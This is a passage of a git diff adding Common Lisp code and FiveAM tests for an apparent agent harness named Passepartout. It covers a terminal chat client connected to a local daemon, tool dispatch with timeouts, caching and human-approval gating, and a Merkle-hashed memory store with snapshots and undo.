(passepartout.channel-tui::st :sidebar-mode) :visible) + (is (sidebar-visible-p 40)) + (is (sidebar-visible-p 140))) + +(test test-sidebar-hidden-mode + "Contract v0.8.0: :hidden mode hides sidebar regardless of width." + (passepartout.channel-tui::init-state) + (setf (passepartout.channel-tui::st :sidebar-mode) :hidden) + (is (not (sidebar-visible-p 140))) + (is (not (sidebar-visible-p 40)))) + +(test test-status-bar-tokens + "v0.9.0: status bar uses :status-fg and :status-bg theme tokens." + (is (getf passepartout.channel-tui::*tui-theme* :status-fg)) + (is (getf passepartout.channel-tui::*tui-theme* :status-bg))) + +(test test-new-theme-keys + "v0.10.0: theme has all zone keys." + (is (getf passepartout.channel-tui::*tui-theme* :bg)) + (is (getf passepartout.channel-tui::*tui-theme* :bg-panel)) + (is (getf passepartout.channel-tui::*tui-theme* :bg-element)) + (is (getf passepartout.channel-tui::*tui-theme* :bg-input)) + (is (getf passepartout.channel-tui::*tui-theme* :agent-border)) + (is (getf passepartout.channel-tui::*tui-theme* :thinking-bg)) + (is (getf passepartout.channel-tui::*tui-theme* :symbolic-border)) + (is (getf passepartout.channel-tui::*tui-theme* :text-muted))) diff --git a/lisp/channel-tui.lisp b/lisp/channel-tui.lisp new file mode 100644 index 0000000..c9fecd0 --- /dev/null +++ b/lisp/channel-tui.lisp @@ -0,0 +1,163 @@ +(in-package :cl-user) + +(ql:quickload :cl-tty :silent t) +(ql:quickload :passepartout :silent t) +(ql:quickload :usocket :silent t) +(ql:quickload :bordeaux-threads :silent t) + +(defpackage :passepartout.tui + (:use :cl :cl-tty.backend :cl-tty.input :cl-tty.rendering :cl-tty.layout) + (:export #:tui-main)) +(in-package :passepartout.tui) + +(defvar *messages* (make-array 0 :fill-pointer 0 :adjustable t)) +(defvar *daemon-stream* nil) +(defvar *event-queue* nil) +(defvar *event-lock* (bt:make-lock "tui-event")) +(defvar *streaming-text* nil) +(defvar *input-buf* nil) +(defvar *cursor-pos* 0) +(defvar *connected* nil) +(defvar *running* t) + +;; Input +(defun input-insert-char (ch) + (let ((pos *cursor-pos*)) + (setf *input-buf* (concatenate 'list (subseq *input-buf* 0 pos) (list ch) + (subseq *input-buf* pos))) + (incf *cursor-pos*))) + +(defun input-delete-char () + (when (and *input-buf* (> *cursor-pos* 0)) + (setf *input-buf* (nconc (subseq *input-buf* 0 (1- *cursor-pos*)) + (subseq *input-buf* *cursor-pos*))) + (decf *cursor-pos*))) + +(defun input-string () (coerce (reverse *input-buf*) 'string)) + +(defun input-submit () + (let ((text (string-trim '(#\Space) (input-string)))) + (when (> (length text) 0) + (vector-push-extend (list :role :user :content text) *messages*) + (send-daemon `(:type :event :payload (:sensor :user-input :text ,text))) + (setf *input-buf* nil *cursor-pos* 0)))) + +;; Daemon +(defun send-daemon (msg) + (let ((s *daemon-stream*)) + (when (and s (open-stream-p s)) + (handler-case + (let ((str (prin1-to-string msg))) + (format s "~6,'0X~A" (length str) str) + (finish-output s)) + (error () nil))))) + +(defun connect-daemon (&optional (host "127.0.0.1") (port 9105)) + (handler-case + (let ((s (usocket:socket-connect host port :timeout 5))) + (setf *daemon-stream* (usocket:socket-stream s) *connected* t) + (bt:make-thread (lambda () (reader-loop)) :name "tui-reader") + (vector-push-extend '(:role :system :content "* Connected *") *messages*)) + (error (c) + (vector-push-extend (list :role :system :content + (format nil "* Connection failed: ~A *" c)) + *messages*)))) + +(defun reader-loop () + (loop while *running* + for msg = (handler-case + (let* ((hdr (make-string 6)) (n 0)) + (loop while (< n 6) + do (let ((ch (read-char *daemon-stream* nil))) + (unless ch (return-from reader-loop nil)) + (setf (char hdr n) ch) (incf n))) + (let* ((len (parse-integer hdr :radix 16 :junk-allowed t)) + (buf (make-string (or len 0)))) + (when (and len (> len 0)) + (loop for i from 0 below len + do (let ((ch (read-char *daemon-stream* nil))) + (unless ch (return-from reader-loop nil)) + (setf (char buf i) ch))) + (let ((*read-eval* nil)) (read-from-string buf))))) + (error () nil)) + if msg do (bt:with-lock-held (*event-lock*) (push msg *event-queue*)) + else do (sleep 0.5))) + +;; Render +(defun render-frame (fb w h) + (backend-clear fb) + (let ((fg (if *connected* "#00FF00" "#FF4444"))) + (draw-text fb 1 1 + (format nil " Passepartout ~a [CHAT] msgs:~d" + (if *connected* "● Connected" "○ Disconnected") + (length *messages*)) + fg nil) + (draw-text fb 1 2 " Ctrl+P: palette Ctrl+Q: quit /help: help" "#888888" nil)) + (let ((y 4)) + (loop for i from (1- (length *messages*)) downto 0 + for msg = (aref *messages* i) + do (let* ((role (getf msg :role)) + (content (getf msg :content)) + (fg (case role (:user "#00FF00") (:agent "#FFFFFF") + (:system "#FFFF00") (t "#888888"))) + (pfx (case role (:user "> ") (:agent " ") (:system "* ") (t " "))))) + (draw-text fb 1 y (concatenate 'string pfx content) fg nil) + (incf y)) + (when (> y (- h 3)) (loop-finish)))) + (draw-text fb 1 (- h 1) (concatenate 'string "> " (input-string)) "#FFFFFF" "#0F3460")) + +;; Event loop +(defun tui-main () + (setf *running* t *messages* (make-array 0 :fill-pointer 0 :adjustable t)) + (connect-daemon) + (with-raw-terminal + (with-terminal (be w h) + (let ((prev-fb (make-framebuffer w h)) + (curr-fb (make-framebuffer w h))) + (loop while *running* do + (bt:with-lock-held (*event-lock*) + (dolist (msg (nreverse *event-queue*)) + (let* ((payload (getf msg :payload)) (text (getf payload :text)) + (type (getf msg :type))) + (cond + ((and (eq type :stream-chunk) text (not (string= text ""))) + (if *streaming-text* + (setf *streaming-text* (concatenate 'string *streaming-text* text)) + (setf *streaming-text* text + *messages* (let ((v (make-array (1+ (length *messages*)) + :fill-pointer (1+ (length *messages*)) + :adjustable t))) + (loop for i below (length *messages*) + do (setf (aref v i) (aref *messages* i))) + (setf (aref v (length *messages*)) + (list :role :thinking :content text)) + v)))) + ((and (eq type :stream-chunk) (string= text "")) + (setf *streaming-text* nil)) + (text + (vector-push-extend (list :role :agent :content text) *messages*))))) + (setf *event-queue* nil)) + (multiple-value-bind (type data) (read-event be :timeout 0) + (declare (ignore type)) + (when (key-event-p data) + (let ((k (key-event-key data))) + (cond + ((eq k :escape) (when *streaming-text* (setf *streaming-text* nil))) + ((eq k :enter) (input-submit)) + ((eq k :backspace) (input-delete-char)) + ((eq k :left) (when (> *cursor-pos* 0) (decf *cursor-pos*))) + ((eq k :right) (when (< *cursor-pos* (length *input-buf*)) + (incf *cursor-pos*))) + ((eq k :ctrl-u) (setf *input-buf* nil *cursor-pos* 0)) + ((eq k :ctrl-a) (setf *cursor-pos* 0)) + ((eq k :ctrl-e) (setf *cursor-pos* (length *input-buf*))) + ((eq k :ctrl-d) (when (null *input-buf*) (setf *running* nil))) + ((eq k :ctrl-q) (setf *running* nil)) + (t (let ((chr (when (keywordp k) + (let ((s (string k))) + (when (= (length s) 1) (char-downcase (char s 0))))))) + (when chr (input-insert-char chr)))))))) + (render-frame curr-fb w h) + (flush-framebuffer prev-fb curr-fb be) + (rotatef prev-fb curr-fb) + (sleep 0.05)))))) diff --git a/lisp/core-act.lisp b/lisp/core-act.lisp new file mode 100644 index 0000000..6aa2eb4 --- /dev/null +++ b/lisp/core-act.lisp @@ -0,0 +1,371 @@ +(in-package :passepartout) + +(defvar *actuator-default* :cli + "The actuator used when no explicit target is specified.") + +(defvar *actuator-silent* '(:cli :system-message :emacs) + "List of actuators that don't generate tool-output feedback.") + +(defun actuator-initialize () + "Register core actuators and load configuration." + (let ((def (uiop:getenv "DEFAULT_ACTUATOR")) + (silent (uiop:getenv "SILENT_ACTUATORS"))) + (when def + (setf *actuator-default* (intern (string-upcase def) :keyword))) + (when silent + (setf *actuator-silent* + (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) :keyword)) + (uiop:split-string silent :separator '(#\,)))))) + + (register-actuator :system #'action-system-execute) + (register-actuator :tool #'action-tool-execute) + + (register-actuator :tui (lambda (action context) + (declare (ignore context)) + (let* ((meta (getf action :meta)) + (stream (getf meta :reply-stream))) + (when (and stream (open-stream-p stream)) + ;; Enrich response with differentiator visualization data + (setf (getf (getf action :payload) :rule-count) + (if (boundp '*hitl-pending*) + (hash-table-count *hitl-pending*) + 0)) + (setf (getf (getf action :payload) :foveal-id) + (getf context :foveal-id)) + ;; v0.8.0: sidebar enrichment via fboundp guards + (when (fboundp 'dispatcher-block-counts-summary) + (setf (getf (getf action :payload) :block-counts) + (dispatcher-block-counts-summary))) + (when (fboundp 'context-usage-percentage) + (setf (getf (getf action :payload) :context-usage) + (context-usage-percentage))) + (when (fboundp 'tool-modified-files-summary) + (setf (getf (getf action :payload) :modified-files) + (tool-modified-files-summary))) + (when (fboundp 'cost-session-summary) + (setf (getf (getf action :payload) :session-cost) + (cost-session-summary))) + (format stream "~a" (frame-message action)) + (finish-output stream)))))) + +(defun action-dispatch (action context) + "Route an approved action to its registered actuator." + (let ((payload (proto-get action :payload))) + (when (eq (proto-get payload :sensor) :heartbeat) + (return-from action-dispatch nil)) + + (when (and action (listp action)) + (let* ((meta (proto-get context :meta)) + (source (proto-get meta :source)) + (raw-target (or (proto-get action :target) source *actuator-default*)) + (target (intern (string-upcase (string raw-target)) :keyword)) + ;; If target is :SYSTEM and we have a live reply-stream, route to :TUI instead + (actual-target (if (and (eq target :system) + (getf meta :reply-stream) + (ignore-errors (open-stream-p (getf meta :reply-stream)))) + :tui + target)) + (actuator-fn (gethash actual-target *actuator-registry*))) + (when (and meta (null (getf action :meta))) + (setf (getf action :meta) meta)) + (if actuator-fn + (funcall actuator-fn action context) + (log-message "ACT ERROR: No actuator registered for '~s'" actual-target)))))) + +(defun action-system-execute (action context) + "Execute internal harness commands." + (declare (ignore context)) + (let* ((payload (getf action :payload)) + (cmd (getf payload :action))) + (case cmd + (:eval + (eval (let ((*read-eval* nil)) (read-from-string (getf payload :code))))) + (:message + (log-message "ACT [System]: ~a" (getf payload :text))) + (t + (log-message "ACT ERROR [System]: Unknown command '~s'" cmd))))) + +(defun action-tool-execute (action context) + "Execute a registered cognitive tool." + (let* ((payload (getf action :payload)) + (tool-name (getf payload :tool)) + (tool-args (getf payload :args)) + (depth (getf context :depth 0)) + (meta (getf context :meta)) + (source (getf meta :source)) + (tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) + ;; v0.7.2: snapshot before destructive tool execution + (when (and tool (not (cognitive-tool-read-only-p tool))) + (undo-snapshot)) + (if tool + (handler-case + (let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args)) + (is-read-only (cognitive-tool-read-only-p tool)) + (cache-key (when is-read-only (tool-cache-key tool-name clean-args))) + (cached (when cache-key (gethash cache-key *tool-cache*))) + (raw-result (if cached + (progn (log-message "TOOL-CACHE: hit for ~a" tool-name) cached) + (let* ((res (call-with-tool-timeout tool-name + (lambda () (funcall (cognitive-tool-body tool) clean-args))))) + (when (and is-read-only cache-key) + (setf (gethash cache-key *tool-cache*) res)) + res)))) + ;; Timeout: propagate error + (when (and (listp raw-result) (eq (getf raw-result :status) :error)) + (return-from action-tool-execute + (list :TYPE :EVENT :DEPTH (1+ depth) :META meta + :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name + :MESSAGE (getf raw-result :message))))) + (when source + (action-dispatch (list :TYPE :REQUEST :TARGET source + :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name raw-result))) + context)) + (list :TYPE :EVENT :DEPTH (1+ depth) :META meta + :PAYLOAD (list :SENSOR :tool-output :RESULT raw-result :TOOL tool-name))) + (error (c) + (list :TYPE :EVENT :DEPTH (1+ depth) :META meta + :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c))))) + (list :TYPE :EVENT :DEPTH (1+ depth) :META meta + :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name)))))) + +(defvar *tool-timeouts* (make-hash-table :test 'equal) + "Per-tool timeout in seconds. Default 120s.") + +;; Defaults: shell=300s, search-files=30s, eval-form=10s +(setf (gethash "shell" *tool-timeouts*) 300) +(setf (gethash "search-files" *tool-timeouts*) 30) +(setf (gethash "eval-form" *tool-timeouts*) 10) + +(defun tool-timeout (tool-name) + "Return timeout for tool-name, default 120 seconds." + (gethash (string-downcase (string tool-name)) *tool-timeouts* 120)) + +(defun call-with-tool-timeout (tool-name fn) + "Execute FN within the timeout for TOOL-NAME. +On timeout, returns (:status :error :message ...)." + (let ((timeout (tool-timeout tool-name))) + (handler-case + (sb-ext:with-timeout timeout + (funcall fn)) + (sb-ext:timeout (c) + (declare (ignore c)) + (list :status :error :message + (format nil "Timed out after ~a second~:p" timeout)))))) + +(defun verify-write (filepath expected-content) + "Verify that FILEPATH contains EXPECTED-CONTENT after write. +Returns T on match, logs and returns NIL on mismatch or read error." + (handler-case + (let ((actual (uiop:read-file-string filepath))) + (if (string= expected-content actual) + t + (progn + (log-message "WRITE-VERIFY: Mismatch in ~a" filepath) + nil))) + (error (c) + (log-message "WRITE-VERIFY: Cannot read ~a: ~a" filepath c) + nil))) + +;; v0.7.2: read-only tool response cache +(defvar *tool-cache* (make-hash-table :test 'equal) + "Cache for read-only tool results. Key: tool-name$sxhash-args. Cleared per session.") + +(defun tool-cache-key (tool-name args) + "Build a cache key from TOOL-NAME and ARGS." + (format nil "~a$~a" (string-downcase (string tool-name)) (sxhash args))) + +(defun tool-cache-clear () + "Clear the read-only tool response cache." + (clrhash *tool-cache*)) + +(defun tool-result-format (tool-name result) + "Format a tool result for display." + (if (listp result) + (let ((status (getf result :status)) + (content (getf result :content)) + (msg (getf result :message))) + (cond + ((and (eq status :success) content) (format nil "~a" content)) + ((and (eq status :error) msg) (format nil "ERROR [~a]: ~a" tool-name msg)) + (t (format nil "TOOL [~a] RESULT: ~s" tool-name result)))) + (format nil "TOOL [~a] RESULT: ~a" tool-name result))) + +(defun loop-gate-act (signal) + "Final stage of the metabolic pipeline: Actuation. +For approval-required actions, creates a Flight Plan instead of executing." + (let* ((approved (getf signal :approved-action)) + (signal-status (getf signal :status)) + (type (getf signal :type)) + (meta (getf signal :meta)) + (source (getf meta :source)) + (feedback nil)) + ;; HITL: if the approved action requires human approval, + ;; create a Flight Plan (Emacs) and HITL entry (all gateways). + (when (and approved + (eq (getf approved :level) :approval-required)) + (let* ((payload (getf approved :payload)) + (blocked-action (getf payload :action)) + (hitl (hitl-create blocked-action))) + (log-message "ACT: Action requires approval — creating Flight Plan + HITL (~a)" (getf hitl :token)) + (dispatcher-flight-plan-create blocked-action) + (setf (getf signal :status) :suspended) + (action-dispatch (list :target source + :payload (list :text (getf hitl :message))) + signal) + (setf approved nil) + (setf feedback nil))) + (when approved + (let* ((original-type (getf approved :type)) + (verified (cognitive-verify approved signal))) + (if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT)) + (not (eq (getf verified :level) :approval-required)) + (not (member original-type '(:LOG :EVENT)))) + (progn + (log-message "ACT BLOCKED: Action failed last-mile deterministic check.") + (setf (getf signal :approved-action) nil) + (setf feedback verified)) + (progn + (setf (getf signal :approved-action) verified) + (setf approved verified))))) + + (case type + (:REQUEST (action-dispatch signal signal)) + (:LOG (action-dispatch signal signal)) + (:EVENT + (if approved + (let* ((target (getf approved :target)) + (result (action-dispatch approved signal))) + (cond + ((and (listp result) (member (getf result :type) '(:EVENT :LOG))) + (setf feedback result)) + ((and result (not (member target *actuator-silent*))) + (setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) :meta meta + :payload (list :sensor :tool-output :result result :tool approved)))))) + (when source (action-dispatch signal signal))))) + (setf (getf signal :status) :acted) + feedback)) + +(defun act-gate (signal) + (loop-gate-act signal)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-act-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-act-suite)) + +(in-package :passepartout-pipeline-act-tests) + +(def-suite pipeline-act-suite :description "Test suite for Act pipeline") +(in-suite pipeline-act-suite) + +(test test-loop-gate-act-basic + "Contract 1: approved action reaches :acted status via loop-gate-act." + (clrhash passepartout::*skill-registry*) + (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello")))) + (result (loop-gate-act signal))) + (is (eq :acted (getf signal :status))) + (is (null result)))) + +(test test-loop-gate-act-no-approved-action + "Contract 1: signal with no approved-action still reaches :acted status." + (clrhash passepartout::*skill-registry*) + (let* ((signal (list :type :EVENT :status nil :depth 0))) + (loop-gate-act signal) + (is (eq :acted (getf signal :status))))) + +(test test-loop-gate-act-last-mile-reject + "Contract 1: last-mile cognitive-verify rejection blocks approved-action." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-blocker + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx action)) + (list :type :LOG :payload (list :text "Last-mile block")))) + (let* ((signal (list :type :EVENT :status nil :depth 0 + :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked"))))) + (loop-gate-act signal) + (is (eq :acted (getf signal :status))) + (is (null (getf signal :approved-action))))) + +(test test-loop-gate-act-preserves-meta + "Contract 1: signal metadata is not mutated by loop-gate-act." + (clrhash passepartout::*skill-registry*) + (let* ((meta '(:source :tui :session "s1")) + (signal (list :type :EVENT :status nil :depth 0 :meta meta + :approved-action '(:target :cli :payload (:text "test"))))) + (loop-gate-act signal) + (is (equal meta (getf signal :meta))))) + +(test test-action-dispatch-routes + "Contract 3: action-dispatch routes to registered actuators without crashing." + (actuator-initialize) + (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)")) + '(:type :EVENT :depth 0)))) + (is (numberp result) "eval should return a number"))) + +(test test-tool-timeout-shell + "Contract v0.7.2: shell timeout is 300 seconds." + (is (= 300 (passepartout::tool-timeout "shell")))) + +(test test-tool-timeout-unknown + "Contract v0.7.2: unknown tool gets default 120s." + (is (= 120 (passepartout::tool-timeout "nonexistent-tool")))) + +(test test-verify-write-match + "Contract v0.7.2: verify-write returns T on match." + (let ((path "/tmp/passepartout-verify-test.org") + (content "test content")) + (with-open-file (f path :direction :output :if-exists :supersede) + (write-string content f)) + (unwind-protect + (is (passepartout::verify-write path content)) + (ignore-errors (delete-file path))))) + +(test test-tool-timeout-enforcement + "Contract v0.7.2: tool exceeding timeout returns :error with timeout message." + (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1) + (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "sleep-forever" + :read-only-p nil + :body (lambda (args) + (declare (ignore args)) + (sleep 10) + "done"))) + (unwind-protect + (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil))) + (ctx '(:depth 0)) + (result (passepartout::action-tool-execute action ctx))) + (is (eq :EVENT (getf result :TYPE))) + (let ((payload (getf result :PAYLOAD))) + (is (eq :tool-error (getf payload :SENSOR))) + (is (search "timed out" (string-downcase (getf payload :MESSAGE)))))) + (remhash "sleep-forever" passepartout::*cognitive-tool-registry*) + (remhash "sleep-forever" passepartout::*tool-timeouts*))) + +(test test-tool-cache-read-only + "Contract v0.7.2: read-only tool results are cached and reused." + (let ((call-count 0)) + (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "cache-test" + :read-only-p t + :body (lambda (args) + (declare (ignore args)) + (incf call-count) + (list :status :success :content (format nil "call ~d" call-count))))) + (unwind-protect + (progn + (clrhash passepartout::*tool-cache*) + (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil))) + (ctx '(:depth 0)) + (r1 (passepartout::action-tool-execute action ctx)) + (r2 (passepartout::action-tool-execute action ctx))) + (is (= 1 call-count) "Second call should hit cache, not re-execute") + (let ((p1 (getf r1 :PAYLOAD)) + (p2 (getf r2 :PAYLOAD))) + (is (string= (getf (getf p1 :RESULT) :CONTENT) + (getf (getf p2 :RESULT) :CONTENT)))))) + (remhash "cache-test" passepartout::*cognitive-tool-registry*) + (clrhash passepartout::*tool-cache*)))) diff --git a/lisp/core-memory.lisp b/lisp/core-memory.lisp new file mode 100644 index 0000000..a496944 --- /dev/null +++ b/lisp/core-memory.lisp @@ -0,0 +1,351 @@ +(in-package :passepartout) + +(defvar *memory-store* (make-hash-table :test 'equal)) + +(defvar *memory-history* (make-hash-table :test 'equal) + "Immutable Merkle-Tree versioning store mapping hashes to objects.") + +(defun memory-object-get (id) + "Retrieves an memory-object by ID from *memory-store*." + (gethash id *memory-store*)) + +(defun memory-objects-by-attribute (attr value) + "Returns all memory-objects whose :ATTRIBUTES plist has ATTR = VALUE." + (let ((results nil)) + (maphash (lambda (id obj) + (declare (ignore id)) + (when (equal (getf (memory-object-attributes obj) attr) value) + (push obj results))) + *memory-store*) + (nreverse results))) + +(defun memory-id-generate () + "Generates a UUIDv4 unique ID. Compatible with Agora Note UUIDs." + (concatenate 'string "id-" (string-downcase (format nil "~a" (uuid:make-v4-uuid))))) + +(defstruct memory-object + id type attributes content vector parent-id children version last-sync hash scope) + +(defmethod make-load-form ((obj memory-object) &optional env) + (make-load-form-saving-slots obj :environment env)) + +(defun deep-copy-memory-object (obj) + "Creates a full copy of an memory-object, including fresh lists for attributes and children." + (make-memory-object :id (memory-object-id obj) + :type (memory-object-type obj) + :attributes (copy-list (memory-object-attributes obj)) + :content (memory-object-content obj) + :vector (memory-object-vector obj) + :parent-id (memory-object-parent-id obj) + :children (copy-list (memory-object-children obj)) + :version (memory-object-version obj) + :last-sync (memory-object-last-sync obj) + :hash (memory-object-hash obj) + :scope (memory-object-scope obj))) + +(defun memory-merkle-hash (id type attributes content child-hashes) + (let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v))) + (sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x))))) + (attr-string (format nil "~s" sorted-alist)) + (children-string (format nil "~{~a~}" child-hashes)) + (data-string (format nil "ID:~a|TYPE:~s|ATTRS:~a|CONTENT:~a|CHILDREN:~a" + id type attr-string (or content "") children-string)) + (digester (ironclad:make-digest :sha256))) + (ironclad:update-digest digester (ironclad:ascii-string-to-byte-array data-string)) + (ironclad:byte-array-to-hex-string (ironclad:produce-digest digester)))) + +(defun ingest-ast (ast &key parent-id (scope :memex)) + (let* ((type (getf ast :type)) + (props (getf ast :properties)) + (id (or (getf props :ID) (format nil "temp-~a" (get-universal-time)))) + (contents (getf ast :contents)) + (raw-content (when (eq type :HEADLINE) + (format nil "~a~%~a" (getf props :TITLE) (or (getf ast :raw-content) "")))) + (child-ids nil) (child-hashes nil)) + (dolist (child contents) + (when (listp child) + (let ((child-id (ingest-ast child :parent-id id :scope scope))) + (push child-id child-ids) + (let ((child-obj (gethash child-id *memory-store*))) + (when child-obj (push (memory-object-hash child-obj) child-hashes)))))) + (setf child-ids (nreverse child-ids)) + (setf child-hashes (nreverse child-hashes)) + (let* ((hash (memory-merkle-hash id type props raw-content child-hashes)) + (existing-obj (gethash hash *memory-history*)) + (obj (or existing-obj + (make-memory-object + :id id :type type :attributes props :content raw-content + :parent-id parent-id :children child-ids + :version (get-universal-time) :last-sync (get-universal-time) + :hash hash :scope scope)))) + (unless existing-obj (setf (gethash hash *memory-history*) obj)) + (setf (gethash id *memory-store*) obj) + ;; Populate embedding vector for new objects + (when (and raw-content (not existing-obj) (not (memory-object-vector obj))) + (handler-case + (setf (memory-object-vector obj) + (embeddings-compute raw-content)) + (error (c) + (log-message "INGEST: Embedding deferred: ~a" c)))) + id))) + +(defvar *memory-snapshots* nil) + +(defun memory-hash-table-copy (hash-table) + "Creates an independent copy of a hash table." + (let ((new-table (make-hash-table :test (hash-table-test hash-table) + :size (hash-table-size hash-table)))) + (maphash (lambda (k v) (setf (gethash k new-table) v)) hash-table) + new-table)) + +(defun snapshot-memory () + "Creates a CoW snapshot of *memory-store* for rollback recovery." + (let ((snapshot (make-hash-table :test 'equal :size (hash-table-size *memory-store*)))) + (maphash (lambda (k v) (setf (gethash k snapshot) (deep-copy-memory-object v))) *memory-store*) + (push (list :timestamp (get-universal-time) :data snapshot) *memory-snapshots*) + (when (> (length *memory-snapshots*) 20) + (setf *memory-snapshots* (subseq *memory-snapshots* 0 20))) + (log-message "MEMORY - CoW Memory snapshot created."))) + +(defun rollback-memory (&optional (index 0)) + "Restores *memory-store* from a snapshot. INDEX 0 = most recent." + (let ((snapshot (nth index *memory-snapshots*))) + (if snapshot + (progn (setf *memory-store* (memory-hash-table-copy (getf snapshot :data))) + (log-message "MEMORY - Memory rolled back to snapshot ~a" index)) + (log-message "MEMORY ERROR - Snapshot ~a not found." index)))) + +(defvar *memory-snapshot-path* nil) + +(defun memory-snapshot-path-ensure () + "Returns the path to the memory snapshot file, resolving env or default." + (or *memory-snapshot-path* + (let ((env-path (uiop:getenv "MEMORY_SNAPSHOT_PATH"))) + (setf *memory-snapshot-path* + (or env-path (namestring (uiop:merge-pathnames* "memory.snap" (user-homedir-pathname)))))))) + +(defun save-memory-to-disk () + "Writes the entire memory and history store to disk as a plist." + (let ((path (memory-snapshot-path-ensure))) + (with-open-file (stream path :direction :output :if-exists :supersede :if-does-not-exist :create) + (let ((memory-alist nil) (history-alist nil)) + (maphash (lambda (k v) (push (cons k v) memory-alist)) *memory-store*) + (maphash (lambda (k v) (push (cons k v) history-alist)) *memory-history*) + (prin1 (list :memory memory-alist :history-store history-alist) stream))) + (log-message "MEMORY - Saved to ~a" path))) + +(defun load-memory-from-disk () + "Reads memory state from disk and restores *memory-store* and *memory-history*." + (let ((path (memory-snapshot-path-ensure))) + (when (uiop:file-exists-p path) + (handler-case + (with-open-file (stream path :direction :input) + (let ((data (let ((*read-eval* nil)) (read stream nil)))) + (when data + (let ((memory-alist (getf data :memory)) (history-alist (getf data :history-store))) + (setf *memory-store* (make-hash-table :test 'equal :size (length memory-alist))) + (dolist (kv memory-alist) (setf (gethash (car kv) *memory-store*) (cdr kv))) + (setf *memory-history* (make-hash-table :test 'equal :size (length history-alist))) + (dolist (kv history-alist) (setf (gethash (car kv) *memory-history*) (cdr kv))) + (log-message "MEMORY - Loaded from ~a (~a objects)" path (hash-table-size *memory-store*)))))) + (error (c) (log-message "MEMORY WARNING - Failed to load snapshot: ~a" c))))) + t) + +;; v0.7.2 — Undo/Redo +(defvar *undo-stack* nil + "Ring buffer of pre-operation memory snapshots. Newest first, max 20.") +(defvar *redo-stack* nil + "Stack of snapshots saved during undo for redo. Max 20.") + +(defun undo-snapshot () + "Save current memory state to the undo stack." + (let ((snap (list :timestamp (get-universal-time) + :data (memory-hash-table-copy *memory-store*)))) + (push snap *undo-stack*) + (when (> (length *undo-stack*) 20) + (setf *undo-stack* (subseq *undo-stack* 0 20))))) + +(defun undo (&optional source) + "Restore memory to the most recent undo snapshot. Returns T on success, NIL if stack empty." + (declare (ignore source)) + (if *undo-stack* + (let ((snap (pop *undo-stack*))) + (push (list :timestamp (get-universal-time) + :data (memory-hash-table-copy *memory-store*)) + *redo-stack*) + (when (> (length *redo-stack*) 20) + (setf *redo-stack* (subseq *redo-stack* 0 20))) + (setf *memory-store* (memory-hash-table-copy (getf snap :data))) + (log-message "UNDO: Memory restored to snapshot ~a" (getf snap :timestamp)) + t) + (progn (log-message "UNDO: No snapshots to undo") nil))) + +(defun redo (&optional source) + "Restore memory to the most recent redo snapshot. Returns T on success, NIL if stack empty." + (declare (ignore source)) + (if *redo-stack* + (let ((snap (pop *redo-stack*))) + (push (list :timestamp (get-universal-time) + :data (memory-hash-table-copy *memory-store*)) + *undo-stack*) + (when (> (length *undo-stack*) 20) + (setf *undo-stack* (subseq *undo-stack* 0 20))) + (setf *memory-store* (memory-hash-table-copy (getf snap :data))) + (log-message "REDO: Memory restored to snapshot ~a" (getf snap :timestamp)) + t) + (progn (log-message "REDO: No snapshots to redo") nil))) + +(defun audit-node (node-id) + "Return audit info for a memory object by ID." + (let ((obj (memory-object-get node-id))) + (when obj + (list :id node-id :type (memory-object-type obj) + :version (memory-object-version obj) + :hash (or (memory-object-hash obj) "(none)") + :scope (memory-object-scope obj))))) + +(defun audit-verify-hash () + "Count memory objects and report any with missing/empty hashes. +Returns (total . missing-hashes)." + (let ((total 0) (missing 0)) + (maphash (lambda (id obj) + (declare (ignore id)) + (when obj + (incf total) + (let ((h (memory-object-hash obj))) + (when (or (null h) (string= h "")) + (incf missing))))) + *memory-store*) + (cons total missing))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-memory-tests + (:use :cl :fiveam :passepartout) + (:export #:memory-suite)) + +(in-package :passepartout-memory-tests) + +(def-suite memory-suite :description "Tests for the Merkle-Tree Memory") +(in-suite memory-suite) + +(test merkle-hash-consistency + "Contract 2: identical ASTs produce identical Merkle hashes." + (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil))) + (clrhash passepartout::*memory-store*) + (let ((id1 (ingest-ast ast1))) + (let ((hash1 (memory-object-hash (memory-object-get id1)))) + (clrhash passepartout::*memory-store*) + (let ((id2 (ingest-ast ast1))) + (is (equal hash1 (memory-object-hash (memory-object-get id2))))))))) + +(test merkle-hash-different + "Contract 2: distinct ASTs produce different Merkle hashes." + (clrhash passepartout::*memory-store*) + (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil)) + (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil)) + (id1 (ingest-ast ast1)) + (id2 (ingest-ast ast2)) + (hash1 (memory-object-hash (memory-object-get id1))) + (hash2 (memory-object-hash (memory-object-get id2)))) + (is (not (equal hash1 hash2))))) + +(test test-ingest-ast-returns-id + "Contract 1: ingest-ast returns a string ID and stores the object." + (clrhash 